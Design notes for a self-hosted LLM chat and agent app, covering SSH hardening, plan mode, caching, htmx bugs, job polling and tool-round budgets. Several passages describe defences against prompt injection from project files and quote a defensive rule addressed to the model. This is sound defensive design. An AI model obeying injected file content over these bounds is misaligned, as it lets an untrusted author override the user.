asyncssh's defaults are wrong here, all four of them. Every LLeMbas user shares one unix account, so known_hosts unset reads a shared trust store (and None disables checking entirely), client_keys unset loads whatever is in ~/.ssh, config unset lets a ProxyCommand redirect the connection, and agent_path unset uses $SSH_AUTH_SOCK. All four are passed explicitly on every connection, and the test that proves it needs no server.

A pinned host key belongs to a host and a port. Moving a profile forgets it deliberately. capture_host_key completes the key exchange and stops, so a host that has not been accepted is never offered a username, let alone a credential — which is what makes accepting a fingerprint from a button safe.

A plan ends the turn, but not mid-sentence. plan_submit is offered in Plan mode only, and the round after it runs with the tools withdrawn: the model gets to say what it proposed, and cannot spend three more rounds changing its mind about a plan somebody is being asked to approve. Carrying it out switches to Edit, never Auto, and the plan goes back quoted and attributed rather than stated — text that came out of a file the model read must not arrive wearing the reader's authority.

A plan the model cannot see is a plan it cannot update. That is the whole of why Chat.plan_message_id exists: harness puts the current plan in front of the model each turn with one primary-key lookup, and plan_update is offered only once there is one. Plan mode is now told to research first and to ask with ask_user when the scope is genuinely ambiguous, and the shape is findings, objectives and phases of tasks rather than a flat list — but steps is always written, flattened from every phase in order, which is why execute_plan needed no change and every row already on disk still works. services/plans.py:normalise is the only place that knows version 1 existed.

plan_update is RISK_READ, and it sits in tension with notes_edit. Risk is what a tool does to the world, and the world the four modes govern is the machine — this cannot touch it. Practically, RISK_WRITE would put an approval card on screen every time a task was ticked off: four cards to carry out a four-task plan, each approving a bookkeeping entry, which is exactly the interruption batching exists to prevent. The line against notes_edit is that a note is a durable artefact of the reader's that outlives the chat, while this is the chat's own record of what it is doing — nearer to generation.status. An administrator who disagrees puts it in deny_default.

A runner cannot write the message row, so two updates in one reply nearly lost one. _persist is the single writer, so plan_update returns the merged plan on its event and the loop carries it — but both calls in a round would then read the same stale plan from the database and the second would win. They merge into AgentContext.plan instead, the snapshot seeded once when the context is resolved. Both plan_submit and plan_update write event["plan"] so _persist stays one writer with one rule; only plan_submit sets plan_final, which is what withdraws the tools. The card does not re-render in place: the newest bubble carries the current plan and older ones carry the plan as it was then, which is what a transcript is for and removes a whole class of work.

Rewind rewinds the transcript, not the machine. Editing or regenerating in an agent chat stamps Chat.rewound_at and the harness warns that files from steps no longer in the transcript are still there. Nothing tries to undo them: the project directory is somebody's real working tree, and deleting their work to match would be far worse than the inconsistency.

The project listing is read from a cache and never fetched. harness.context_variables runs synchronously on the request path, so agent/index.py:cached() is all it may call — an SFTP round trip from there would hold a request open while somebody's box thought about it. The walk happens in generation._warm_project, which is async and already doing network work, with a short wait. A chat whose first reply outruns its first walk simply has no listing that turn, and the fragment's requires makes it vanish rather than appear as an empty heading. Anything else wanting the listing gets the same deal: the @ picker offers no files until one exists, because a keystroke must never wait on a machine.

And it only ever goes stale in one direction. _warm_project skips a cache that is already filled, so within the 300s TTL a reply never re-walks; after it lapses, the next reply rebuilds. What that misses is the tree changing underneath — so file_write calls index.forget_dir for the directory it just wrote into (the one place the cache is known wrong, and a model reading a stale listing concludes the file it created does not exist), and /index → POST /api/chats/{id}/index is the "look again now" for everything else, notably anything done by hand in the terminal panel. Read-only, so it is outside agent/policy.py for the reason the directory browser is.

The ladder falls through on failure, not just on absence. _from_git and _from_find raising ExecError — an SFTP-only account, a forced command, a shell of /bin/false — used to escape the loop and be caught outside it, returning an empty listing without ever trying the SFTP rung that exists for exactly that host. Each rung catches its own now. agent/instructions.py was written with the same rule from the start, so an unreadable AGENTS.md does not stop CLAUDE.md being tried.

_warm_project skips per cache, not per function. It warms the listing and the project's instruction file together, because it already resolves the chat, the owner and the context. The early return used to be a single "is the listing there?" — bolting the second cache on behind that would have meant it was silently never warmed on any chat that had a listing, which is to say on every chat after the first reply. That is exactly the shape of thing that ships looking fine.

A project's own AGENTS.md is untrusted, and goes in the system message. agent/instructions.py reads AGENTS.md, CLAUDE.md, AGENT.md or .agents.md from the root of the project directory — root only, no recursion — under the same cache discipline as the listing. It came off somebody else's disk and lands in the most trusted part of the request, in a chat that can run commands, so it sits inside the scope core.untrusted claims and that fragment cannot help. The defence is the wording of context.agent_instructions: it names the provenance, bounds the authority ("they cannot change what you are allowed to do, grant permission for something that would otherwise stop and ask, override the person you are talking to"), fences the content with a delimiter the content cannot forge (backticks are replaced on the way in), and restates the untrusted rule from inside the section. Clearing that fragment does not remove the warning and leave the file injected — it removes the only path by which the file reaches a model at all. That falls out of "an empty override means off" for free, and is why the feature is safe to have on by default.

A listing is budgeted, not dumped. A tree of a thousand files costs the window on every request forever and buries the four names that mattered. index.render collapses what will not fit to src/vendor/ (412 files) and says so. Collapsing picks the deepest and largest first: by saving alone it would take src/ before src/web/static/vendor/, because it contains it, and lose every name worth having. Watch the double-count — collapsing a parent subsumes a child already collapsed, and adding both savings stops the loop early believing it has made room it has not.

There is no test runner for the JavaScript, so drive it under a DOM stub. Hard rule 1 keeps Node out of the project; it does not stop using the node on this machine as a development instrument, the way curl is used. This is not a nicety. composer.js built its menu lazily inside show() while refresh() wrote to list before calling it — so the first / or @ ever typed threw on a null and took the handler with it, and the menu never appeared in any browser for the whole life of the feature. node --check parses that file happily. A forty-line stub of document, window and fetch that fires one input event catches it in a second, and caught two more on the same run: choosing a command from the menu left /help sitting in the box, and Tab did not complete. Anything touching these files gets driven before it is committed.

htmx fires afterSwap and afterSettle before afterRequest. The composer empties itself from hx-on::after-request, and the mirror repainted on the first two -- so every repaint ran while the box still held the message, and the highlighting sat over an empty field until the next keystroke. It repaints on htmx:afterRequest and on reset as well now, both deferred a frame: a form's reset event fires before its fields are actually cleared, so reading the value in the same turn paints the text that is about to vanish.

Two things must be sized the same or the composer's highlighting slides off. A <textarea> cannot style its own contents, so .composer__mirror sits behind it holding the same text with every character transparent, contributing nothing but a rounded rectangle behind each token. Every property that decides where a character lands — font, size, line height, letter spacing, padding, wrapping — is declared once for both. The usual version of this trick hides the textarea's text and shows the mirror's; drawing only backgrounds instead means a pixel of drift is a rectangle slightly out of place rather than a doubled glyph. The scroll positions are synced, because the textarea scrolls past data-max-height.

A slash command must never swallow a message. static/js/commands.js intercepts only an exact match against its table; // escapes, and anything unrecognised is sent as written. Eating somebody's message because it began with a slash is a far worse failure than an unknown command, and it is the one the implementation has to be arranged around rather than patched for afterwards.

A shortcut clicks the button that already does the job. Alt+M dictates, Alt+R reads the last reply aloud, Ctrl/⌘+Enter sends from anywhere — and all three dispatch by finding the existing control and calling .click(), so audio.js keeps its one delegated listener and there is no second copy of the recording state machine. Alt+M and not Alt+D: Alt+D is the address bar in Chrome and Firefox, and a shortcut the browser wins looks broken. Ctrl+Enter never means Stop, because Send and Stop are the same element and Esc already stops. Every key is matched on event.code, and tests/test_commands_js.py pins that each one has a row in SHORTCUTS — /help reads that list, so a key missing from it is a key nobody can discover, and that is the direction this actually rots.

The directory chip shows a name, not a path. A real project path is long enough that showing it whole filled the chip's 16rem basis and pushed the mode select off the end of the row -- and the leading directories are the part nobody reads: what you check before sending is that you are in myproject rather than myproject-old. setDir shows baseName(path) and puts the whole thing in the tooltip; the hidden field still submits the full path, because shortening a label must never shorten a value, and there is a test on the row for that. Three CSS rules hold the row together and none of them is visible from the markup: .composer__agent needs min-width: 0 or the group will not shrink below its content and the last child is what falls off, .composer__dir is capped because it is the only child here whose content is unbounded, and the mode select is flex: none because it is the control being read and changed constantly. The topbar's copy of the same path was already bounded and truncating, and is left alone.

The composer's toolbar is one row, always. It used to wrap, and .composer__actions is last in the DOM with margin-left: auto — so the moment an agent chat added a connection, a directory and a mode, Send and the microphone were what dropped to a second line. chat.css has no media queries by design and the fix is not to add one: .composer__context is the single child allowed to shrink past its content and scroll sideways, everything else is flex: none. There is a test asserting the file contains no @media, so nobody "fixes" a future version of this with a breakpoint.

The @ button became the scope menu, and is called Toggle. It only ever inserted the character, which the @ key already does without a button. It then kept that as a row inside the menu, which was the same redundancy one level down — a menu you open in order to press a button that types one character — and that is gone too. Typing @ is untouched: composer.js recognises the token on its own and knows nothing about this menu.

With the row gone the guard is has_scope alone rather than has_scope or can upload, because there is now nothing to show a chat with no scope and an empty menu is worse than no button. The switches inside are <label>s that deliberately carry no role="menuitem", because ui.js closes a picker when a menuitem is clicked, which is right for an action menu and wrong for a list of switches you want to set several of. That is the whole reason the menu needs no JavaScript at all. The verb is on the checkbox, per the usual rule.

hx-target is inherited, and the composer's form targets the transcript. The chip below sits inside <form class="composer__form" hx-target="#thread" hx-swap="beforeend"> — that target is what makes a sent message append a bubble. htmx resolves hx-target by walking up the DOM, so an element in there that fetches and does not name its own target aims at #thread too. The jobs chip declared hx-swap="outerHTML" and nothing else, which reads as "replace yourself" and meant "replace the whole transcript with yourself" — on load, and then again every five seconds. Every agent chat rendered its reply and then went blank, the reader's own prompt with it, while the server logged nothing at all because nothing had gone wrong there.

Anything inside that form that fetches must carry hx-target (or hx-swap="none"). tests/test_chat.py walks the form and refuses the rest. Note what the failing version looked like: correct, idiomatic markup whose meaning came from an ancestor — the same family as the trigger bound where the event does not go, and the reason that test asserts the resolved property rather than the attributes.

And htmx events bubble, which is the same lesson a second time. The form also declares hx-on::after-request so it can clear itself after sending — and htmx:afterRequest bubbles, so every request made by anything inside the form ran that handler. Six things do: the two scope switches, "ask me about these again", the agent mode select, the effort select and the jobs chip. Changing the mode or the effort while typing therefore called this.reset() on the composer and dragged the view to the bottom, and had done for as long as those controls existed; the chip only made it periodic, and therefore visible. The guard is event.target === this. A form's own handler answers its own request.

Both bugs had correct markup whose meaning came from an ancestor. That is why both tests assert the resolved behaviour — one walks the form and refuses a descendant that fetches without a target, the other drives the handler under a DOM stub and fires the event from a descendant.

Background jobs have a chip in the composer row and a panel behind it. A job runs detached for as long as it takes and the only way to see one used to be asking the model to call job_list — something that outlives the reply that started it needs a surface that outlives the reply too. jobs.listing merges the agent_jobs rows (which survive a restart and carry wall-clock times) with the in-process JobState (which exists for a job whose row could not be written, _persist_row being best-effort by design). The times come from the row: JobState.started_at is time.monotonic(), which is right inside one process and meaningless across a restart — rehydrate builds a fresh state whose clock starts at nought, so a job three hours old would report having just begun.

The chip renders even at zero, because it is the element carrying hx-trigger: a fragment that collapsed to nothing would replace the trigger with nothing, and the next job started would never appear. The log tail is fetched only for an expanded row — reading every job's output on every poll would be one SSH connection per job per five seconds, for output nobody is looking at.

The dot is coloured by outcome, and the panel is inset because the menu is not. status is running|done|killed|lost, and done is two outcomes — so jobs__dot--done would have been green beside the row's own words "Failed, exit 2". JobView.tone answers the colour question and the template's if-chain keeps answering the wording one, which is the half that cannot live in a class name. duration is empty for a running job on purpose: this panel is fetched when somebody opens it and is never polled (the chip is the thing on a timer), so a live figure would be frozen the instant it painted. Its two stamps are normalised before subtracting, for the reason compaction.moment exists — a job started before a restart and finished after it has one naive stamp and one aware, and subtracting them raises. _short_duration here is deliberately not steps's: that one takes milliseconds and tops out at minutes, and a three-hour build through it reads 184m 12s. And .jobs__row had no horizontal padding while .picker__menu has none either, so every row ran flush into the border under a header that was inset by --sp-3; jobs__row--open had been emitted by the template since the panel shipped with no rule anywhere to render it, which is why the row whose log was on screen looked like the ones that were not.

The open chat page polls for turns it has not got. jobs.wake starts a reply without any request from the browser, and there is no channel to say so: the only stream is per-message and it is opened by the sse-connect on an incomplete assistant bubble — a bubble the page does not have, because the reply that made it began elsewhere. _queue_frames proves the swap works but can only ride a stream already open, so a job finishing on an idle chat lit the sidebar dot for the chat the reader was looking at and did nothing else until a reload. GET /api/chats/{id}/tail?after= is the answer, polled for the reason /unread is. Four things about it:

• A cursor it cannot place is answered with 204, never with the transcript. An absent after, one from another chat, one a rewind deleted: returning the thread would append a second copy of every bubble the page still holds. A page whose history was rewritten underneath it is one only a reload can reconcile, and that is not this route's call to make with a half-typed message in the box.
• The cut is read from the row, so _inject's restamp of the placeholder moves it too, and the comparison is done in SQL — a row read back from SQLite is naive and one still in the session is aware. The id > tie-breaker is not decoration: under a bare > a row sharing the cut's microsecond is skipped forever.
• The cursor comes from the DOM (app.js, on htmx:configRequest), because the DOM is the honest answer to what the page holds — the composer's POST, the done frame and the last poll all move it, and a variable would have to be updated by each of them forever. Not hx-vals="js:…": two of the three things that handler does are cancellations, which hx-vals cannot express. Not article.msg:last-of-type either — that is per-parent, so on a compacted chat it answers with the last article inside the <details> rather than the newest message, and the poll then re-appends half the conversation.
• It is silent while a reply is streaming, and a htmx:beforeSwap listener drops any answer containing a bubble the page already has. hx-sync cannot reach that race — the two requests come from different elements — and a duplicate here is not cosmetic, it is a second sse-connect for one message.

The route also clears unread/unread_notified on every tick including the 204: _persist marks a reply unread whenever followers == 0, which is true of a job-woken reply with the reader watching it. The element lives outside #thread (a rewind swaps that container's contents and would take the poller with it) and outside the composer form (which would lend it hx-target="#thread", the jobs chip's old bug); tests/test_chat_tail.py walks the page and refuses both.

A background job's completion is a user turn on the wire and a machine event on screen. The role is load-bearing — _inject sends a queued turn verbatim and build_messages must keep seeing a user turn — so Message.machine marks the bubble instead, and nothing about the request changes. Without it the transcript rendered a machine's report under the reader's name with their initial beside it and a pencil offering to rewrite it, which is the application putting words in their mouth; the route refuses the edit too, because a hidden button is a courtesy. _completion_text is deliberately untouched: the tool.background fragment quotes its opening sentence to the model, so rewording it would break that instruction with nothing anywhere to notice. The body skips the tokens filter — an @ in a command line is not a mention of anybody's files.

Reasoning effort goes out twice, and only when it is set. There is no field that works everywhere. OpenAI and vLLM read reasoning_effort; llama.cpp's own documentation says other values "have no effect", its maintainer says "llama-server cannot support reasoning_effort at all" and that the field "simply gets dropped without error or logging", and what actually reaches a gpt-oss behind it is chat_template_kwargs. So chat.apply_effort writes both. The second half is what makes that safe: neither field appears unless a chat has an effort set, so a provider strict about unknown parameters sees exactly the request it always did until somebody opts in. EFFORTS lives in services/chat.py and the command, the control and the admin default all read it, so they cannot disagree about what a valid effort is.

The picker shows the level in force, never the word "default". "Effort: default" named no level and was true of nothing in particular. chat.resolved_effort is the chat's own value and nothing else, and build_request reads the same field, so what is shown is what is sent by construction. The model's default is a seed — copied onto the row by _new_chat and by a model change, and deliberately never consulted at request time. A fallback would resurrect it underneath a cleared effort and make "off" silently do nothing, which is precisely the failure this codebase keeps cataloguing. The seed on a model change only applies when the key is absent; None means somebody cleared it deliberately.

"Effort: off" has to be a sentinel, not an empty value. start_chat declares reasoning_effort: str = Form(""), so an absent field and an empty one are indistinguishable there — the FastAPI trap already documented for update_chat. With value="" the reader picks off, the value falls out of EFFORTS, the model's seeded default stays, and they silently get "high". The option sends "off", and _new_chat, update_chat and /effort all know it.

A control that writes needs a form it is allowed to be outside of. Two selects in the composer — the agent mode and the effort — belong to empty <form> elements that are siblings of the composer's own form, referenced by form="…". A form cannot nest inside another; the browser silently drops the inner one, and the control then posts nothing at all.

form="…" scopes the values; it does not route the event. That is half of the paragraph above, and taking it for the whole cost both those selects an entire release in which they wrote nothing. htmx binds a trigger listener to the annotated element itself unless from: says otherwise — if(c.from){t=m(l,c.from)}else{t=[l]} — and change fires on the select and bubbles through its DOM ancestors, which a sibling form is not. So the verb goes on the control; the empty form stays, earning its keep as the answer to htmx's "whose values are these", which is function Nt(e){return e.form||g(e,"form")} — e.form first, so a form-associated control resolves to the empty form and the PATCH carries that one field. Without it, closest("form") finds the composer and the request carries project_dir, which update_chat answers with a 409. tests/conftest.py:control_named exists to pin this: the element carrying the name must be the element carrying the verb. The three failures in this feature — hx-post at a PATCH-only route, a menu built after it was written to, a trigger bound where the event does not go — were all silent, and all three had passing tests that asserted the markup rather than the property.

A rule written for one context matches every context. .tok-mention styles a mention in the transcript: accent colour, monospace, 0.95em. Nothing scoped it there, so it also hit the composer mirror's spans — and .composer__mirror's color: transparent is inherited, which loses to a colour the span declares itself. The mirror painted its token visibly, in a different font, over the textarea's own text: doubled, and shifted from that point on because the metrics differ. Transcript token styles are .msg .tok-*; the mirror's restate color: transparent and font: inherit rather than relying on inheritance, and bleed with box-shadow rather than padding and a negative margin, because a shadow cannot move a glyph.

Unused columns are worse than missing ones. Model.params_json documented itself as "default sampling params applied to new chats using this model" and was applied nowhere for its entire existence, which is how a per-model default effort looked like it needed a new column. _new_chat seeds from it now. It is empty on every existing row, so honouring it changed nothing for anyone.

@ inserts a reference and attaches the contents. The token stays in the sentence so "change the thing in @main.py" reads as one, and the file arrives as an attachment chip — the same component every other attach path returns, so the composer learns nothing new. Attachment.source_path and source_label carry where it came from into chat.document_context's tag, because a model handed main.py cannot tell which of four it is looking at and cannot name it back when asked to change something. Those two are attribute values in a tag we write, so _attr strips quotes and angle brackets rather than escaping them.

@ offers everything a chat can reach, and a knowledge base is the exception that proves the rule. Project files, documents, notes, skills, this chat's earlier attachments and a URL all resolve to an attachment, copied — a transcript must not change because somebody edited a note afterwards, the same rule as PDF extraction. A base is a reference instead: POST /api/chats/{id}/bases puts it on Chat.knowledge_bases, which already narrows knowledge_search, and the harness already names the attached bases. Copying a folder of contracts into the window would cost the context on every request forever to answer one question. It therefore needs an existing chat, so it is absent on the new-chat screen — the same reason project files are.

A page that uses .page needs .admin-scroll around it. .main is a flex column with min-height: 0, so content dropped straight into it overflows the viewport with nothing to scroll — Save ends up below the bottom of the window, reachable only by zooming out. settings.html gets this from .tabs__body and the admin pages from .admin-scroll; the folder settings page shipped without either. The two class names are one rule in admin.css for that reason.

A path is chosen, not typed. [data-dir-field] in ui.js is the directory picker on a form that is not the composer, scoped to that attribute so it and the composer's own handler cannot both answer one click and open two dialogs. The composer keeps its own because it does more: it follows the selected profile's default directory until somebody picks their own, which only means something while a chat is being created.

The sidebar shows one kind at a time. Chat.kind distinguishes an agent chat everywhere except the one place a person looked. The switch is stored on the account, and three things about it are not the obvious version. It lives inside the fragment it swaps, or the two buttons would go on showing the side you had just left — and "New chat", which sits above the scroll area rather than in the tree, comes along out of band (partials/_sidebar_actions.html, rendered with oob only by the fragment route). That one shipped broken: the button went on saying "New chat" over a list of agent chats. Whether it worked was never the question — it said one thing and did another, which is the shape of failure the switch itself was arranged to avoid. Folder.shown_in hides a folder the filter emptied and keeps one that was empty to begin with — the second is a container somebody just made, and hiding it means it can never be found again, let alone filed into. And with agent chats switched off there is no switch and no filtering at all, rather than one side of a fork nobody can move: an administrator turning the feature off would otherwise strand whoever last left it on Agents in an empty sidebar.

A command can be corrected before it is allowed, and the edit lands in exactly one place. arguments is the list _run_calls hands to run_tool as parsed=, and run_tool never re-parses — so writing into it inside _authorise is the only mutation the runner sees. Editing the Item does nothing: it is frozen and display-only. Two things move with it. The raw call["arguments"] string is rewritten, and the assistant turn is built after _authorise rather than before it, or the model is told it ran what it proposed while something else ran and every later round reasons from a transcript that is quietly false. And _remember_always reads the edit, or "always allow this" stores a standing permission for a command nobody approved — it still derives the pattern itself through policy.subject, which yields nothing for a composed command line. The box is offered only where the detail is an argument (tool_labels.DETAIL_KEYS); anything whose detail is a k=repr(v) summary cannot be put back, and a box there would silently change nothing.

htmx's hx-prompt cannot be intercepted, and hx-confirm can. htmx calls the browser's prompt() synchronously and then fires htmx:prompt with the answer already in hand, so cancelling the event only aborts the request and the grey box appears regardless — htmx:confirm fires before, which is why that one works. data-prompt in ui.js follows the data-confirm-button shape instead: swallow the click, ask in the themed dialog, write the answer into hx-vals, click again behind a guard flag. JSON.stringify, never concatenation, or a folder called " produces hx-vals that does not parse and the request goes out with the field missing rather than with the name. There is a test that no template brings hx-prompt back.

An agent chat is named from its first prompt and costs no model call. Somebody starting one states an objective, not a topic. An ordinary chat opens with a question whose answer is what makes a title worth asking a model for, and is unchanged. update_chat answers a rename with the same out-of-band pair the done frame sends, so one response moves the heading and the sidebar row — only on a rename, because sending it for every PATCH would overwrite the heading from an unrelated save.

Three numbers per panel decide a width, in three files, and two of them fail silently. LAYOUT_BOUNDS drops an unknown CSS variable on purpose, so a panel missing from it has a drag handle that appears to work and forgets by the next page load. The allowlist's lower bound, the handle's data-resize-min and the --*-width-min token are pinned equal by tests/test_layout_bounds.py.

Unread is polled, not pushed. A browser on another chat has no connection to the one that finished. /api/chats/unread returns out-of-band dot spans and an HX-Trigger for the toast; unread_notified stops the same arrival being announced every tick. Re-rendering the whole sidebar instead would reset the folder open/closed state every 10 seconds.

Editing rewinds, it does not branch. POST .../messages/{id}/edit rewrites a user turn and deletes everything after it. Branching would need a UI for choosing between versions; "go back and try again from here" is what was asked for and what other clients do. Message.parent_id still exists unused.

Dialogs and toasts are ours, not the browser's. static/js/ui.js provides lembas.notify/confirm/prompt, and intercepts htmx's htmx:confirm so every existing hx-confirm gets the themed dialog with no change at the call site. Plain forms opt in with data-confirm, lone submit buttons with data-confirm-button. Never add a window.confirm back.

The model picker is hand-built. A <select> renders only text in an <option> -- no avatar, no description, no badges. chat/_model_picker.html plus the picker block in ui.js; the value lives in a hidden input so it still behaves as a form field.

The panels work before the chat does, and a draft is how. The terminal and the canvas both needed a Chat, which meant they were unavailable on the one screen where you are deciding which machine to work on. services/agent/draft.py holds an id and the three facts behind it -- owner, connection, directory -- and as_chat builds a transient Chat, constructed and never added to a session. That is the whole trick: canvas.agent_ready, _executor, _load_agent/_save_agent and agent_session.resolve read only user_id, kind, ssh_profile_id and project_dir, and none of them queries or writes the row, so every one of them works unchanged and none had to learn what a draft is. id and canvas_json are set explicitly: both are column defaults, which SQLAlchemy applies at flush, and this row is never flushed.

The id is derived from (owner, connection, directory) rather than invented, so returning to the same new-chat screen finds the shell already running there instead of quietly opening a second. The owner is in the hash because two people pointed at the same directory would otherwise share a shell.

Two canvas sources are refused on a draft, by name. scratch needs a row -- scratch_service.for_chat would write a ScratchDoc keyed on a chat that does not exist. file is the one that matters: _load_file authorises with attachment.chat_id != chat.id, and an upload made on the new-chat screen is stored with chat_id=None, so a draft whose chat carried no id would make that None != None -- False -- and open every unclaimed attachment its owner has. as_chat does set an id, so the comparison already fails; the refusal is stated anyway, because a guarantee that lives in an id-shaped coincidence is one the next change breaks silently.

Adoption is a re-key and a copy, and the redirect does most of it. start_chat already answers 204 + HX-Redirect, so the browser reloads and both panels re-render with the real id -- the canvas adopts by construction, since its URLs are server-rendered, and the terminal reconnects to the re-keyed session and replays its scrollback. terminal.rekey moves both the registry key and session.chat_id: close_for_profile, close_for_owner and the reaper all pop by the field, so a stale one would leave a dead session that get keeps handing out. The shell is adopted only when its profile and directory match the chat as finally resolved -- _new_chat falls back to the connection's login directory when the field is empty -- and otherwise left where it is rather than transplanted onto a chat that says it runs somewhere else.

lembas:agent-target is what re-points them when the selection changes; ui.js dispatches it from setDir and the connection select, because assigning to a hidden field's .value fires nothing on its own.

Chats are created lazily. There is no endpoint that makes an empty chat. "New chat" is a link to /chat, which renders a composer with no row behind it; POST /api/chats/start writes the chat together with its first message. That is why an opened-and-abandoned chat never appears in the sidebar. Tests that just need a chat use the make_chat fixture rather than the HTTP flow.

Admin lists are list-plus-detail, never a form per row. /admin/models renders compact rows with search, filter tabs and pagination; the full form lives at /admin/models/{id}/edit. A connection can advertise a hundred models, and a page that renders a form for each is unusable. Any future admin list (tools, agents) should follow the same shape.

Route order matters for static path segments. FastAPI matches in registration order, so /admin/models/bulk must be registered before /admin/models/{model_id} or "bulk" is parsed as a model id and 404s. This has already been a bug once.

Pinning is not ordering. The model picker is always in the administrator's position order. Pinned models get shortcuts in the chat sidebar and nothing else -- a picker whose order differs from the admin screen is just confusing.

The shortcuts come from sidebar_context, not from _chat_context where they began: they are sidebar content, the fragment route that re-renders the sidebar has only the former, and the library and connections pages carry the sidebar without ever calling the latter -- so the shortcuts were simply absent on all of them. They carry &kind=agent with the switch, and they sit above the tree it swaps, so they arrive out of band exactly as the New chat button does. The group is rendered even when empty, because a block that vanished when the last model was unpinned would leave that out-of-band fragment with nowhere to land, and htmx says nothing at all when a target is missing; .nav-group--pinned:empty is what stops the empty one taking room.

System prompts are precedence, not concatenation. chat > folder > model > instance, most specific wins outright (services/chat.py:effective_system_prompt). Stacking them reads well in a settings screen and badly in practice: two layers that disagree give the model contradictory instructions and nobody can tell which is losing.

The folder rung goes above the model deliberately: a model's prompt describes the model wherever it is used, a folder's describes this piece of work whichever model is pointed at it. It is read when a reply is built and never copied onto the chat, so editing a folder reaches the chats already in it, and the walk up the parents is bounded and cycle-safe because it runs on the request path. api/pages.py mirrors the ladder for the settings panel's "inherited from" hint, and has to keep mirroring it layer for layer — a panel naming the wrong source is worse than one naming none, because it is believed.

A folder's other settings are seeds, copied by _new_chat into whatever the request left empty and nothing it filled in: the folder says what this work usually needs, the screen in front of somebody says what they want this time. Folder.ssh_profile_id is a plain string rather than a ForeignKey, for the reason compacted_through_id is, and is validated on read.

JSON columns need reassignment. user.settings_json["theme"] = x on a plain dict is not detected. The columns use MutableDict (db/types.py), but the safe habit is obj.field = {**obj.field, "k": v}.

[hidden] needs !important. The browser's rule is [hidden] { display: none }, which any class setting display outranks — and .btn is display: inline-flex. That is not theoretical: it is why the old Stop button, created and then hidden = true, sat permanently beside Send. app.css forces the attribute to win. Anything toggled with hidden depends on that line.

Send and Stop are one button. chat/_composer.html renders both icons and ui.js flips data-composer-action plus type (submit ↔ button) when a message in the thread is still streaming. Do not add a second button back.

A second message while a reply streams is queued, not sent. It used to be accepted outright: a second assistant placeholder, a second concurrent Generation answering the same chat from a different prefix of it, and ui.js's first-match querySelector(".msg[sse-connect]") pointing Stop at whichever bubble came first in the document. A queued turn is a real Message with queued set — so it survives a restart, is in the transcript the moment it is typed, and can be withdrawn before it is ever sent. build_messages skips it. It must never carry sse-connect; the streaming shell is still the only thing that starts a generation, so one on a queued bubble is that second generation again.

Delivery is two places, and neither is a special case. _drain runs in _run's finally: between _persist and done — after the row is authoritative, before the flag _follow breaks on, because the done frame is the last thing that reaches a browser and has to carry the next turn's bubbles out of band. It takes one waiting prompt, not all of them: draining the lot puts two consecutive user turns in the next request. _inject takes one into a reply at a tool-round boundary, which is the point of queueing in an agent chat — steering work already under way — and restamps the assistant placeholder's created_at so the reply still sorts before the prompt it answered. It refuses on the last round: a prompt delivered into a reply that then runs out of budget is marked delivered and never sent again.

Stop leaves the queue alone, deliberately, and _drain refuses on stopped, errored and superseded. Stopped is the reader's decision; errored would feed the next prompt into an endpoint that has just failed; superseded is the same test _persist makes, without which regenerating drains the queue as a side effect. Cancellation sets stopped, so a restart never fires off a reply with nobody watching.

An interjection is sent verbatim, in the user role. Everything else this codebase injects is quoted and attributed because it came out of a file, a page or a machine; this one genuinely is the person at the keyboard. Wrapping it would teach a model that a user turn can be a quotation, which is the exact distinction execute_plan and Capture.as_text rely on. What the model needs — that this can happen at all — is the core.interjection harness fragment.

The tool loop is inside one generation. services/generation.py:_run() runs request rounds for a single reply: stream, accumulate tool calls, run them, append the results, ask again. Generation accumulates content across all of them, so text emitted before a tool call survives. Tools are only offered when search is enabled, the user has tools.web_search, and the model is flagged tools — sending a tools array to an endpoint without support fails the whole request, exactly as images do without vision.

A round ceiling is a ceiling, not a schedule. The loop ends the moment a round comes back with no tool calls — that is the model saying it has what it needs, and it is the same termination condition every agentic harness uses. The number only catches the case where it never says so: a small model that has decided searching is the answer, searching until the context runs out at a full request each.

It was 1, then 5, and it is 0 by default now — no ceiling, the loop falling back to MAX_TOOL_ROUNDS as a runaway backstop, which is the shape Limits.steps already had for an agent chat. Both numbers were the same mistake at different scales: low enough to be reached by ordinary work is low enough to be a schedule rather than a ceiling, overriding the model's judgement on every turn instead of catching a runaway. One left the library searchable and not readable, several built-ins being two-step pairs — knowledge_get and notes_get read a document "by the id a search returned". Five ended a small local model's genuinely good piece of research at its sixth search. What bounds an ordinary chat is the context window, which is a real limit rather than a guess at how much looking-up a question deserves. settings_store.chat_rounds() is the number; tools.MAX_ROUNDS is only the fallback for callers with no session, and a test pins the two equal.

A budget must never end a reply in silence. Every one of them used to break where it was noticed, leaving whatever prose the model had emitted — which for a model that goes straight to tool calls is nothing, so the reader got an empty bubble with a red line under it and the whole reply thrown away. _wrap_up withdraws the tools and asks once more instead: what was gathered is in the transcript either way, and one request turns it into an answer. That is the move plan_submit already makes — a turn should not end mid-sentence — and it is why the loop runs to budget + 2: the round at budget notices the overrun, the one after it answers. The event still goes in the transcript, because an answer the model chose to give and one it gave because it ran out of room read identically otherwise. _too_big is the single exception and stays a hard stop: it is the finding that there is no room for another request, so a wrap-up round would be the same overflow with an upstream error in place of an explanation.

core.rounds and core.keep_working are gated on complements, so exactly one appears. round_budget is set only when an administrator has put a ceiling on an ordinary chat; unbounded is set precisely when it is not, and an agent chat always has the second. Neither renders anywhere — they exist to be requires. A model told it has a budget rations it and stops early to report progress, and one told to keep going does the work; those are different sentences rather than the same sentence with a different number in it.

An agent chat is sized by agent/policy.py:Limits instead, where steps is a runaway backstop and not a working budget. It was 40 and it was reached; a step count low enough to be the thing that ends a reply is a count that ends it halfway. What actually bounds one is the wall clock and completion_tokens. These are different sentences rather than the same sentence with a different number in it, which is why core.rounds and core.keep_working are two fragments gated on round_budget — blank in an agent chat, and blank again when an administrator has set no ceiling, so the fragment vanishes rather than promising zero rounds.

The token ceiling would have worked on OpenAI and silently done nothing elsewhere. generation.completion_tokens is only populated when the endpoint sends a usage block, and llama.cpp, Ollama and friends never do; the fallback estimate is computed once, in _run's finally:, long after the loop that needs it. _written() takes max(reported, estimated) so the limit fires everywhere. The worst kind of limit is one that looks configured.

The metrics interpolate between usage blocks, and never overwrite one. Usage arrives once per round, so reported or estimated stopped consulting the estimate the moment round one's chunk landed — and a forty-round agent reply then sat at round one's numbers for minutes at a time while text streamed underneath. The other direction is just as wrong: a reported count must never be replaced by four-characters-to-a-token, which is a downgrade dressed as a fix. metrics._since_counted is the seam. Generation.counted_chars is stamped at the end of each round — not where the usage chunk is read, because ReasoningSplitter is still holding that round's last characters back then, and stamping there made the stored figure a token or two above what the endpoint actually said — so the interpolation is zero exactly when a count lands and the displayed figures converge on the reported total rather than drifting past it.

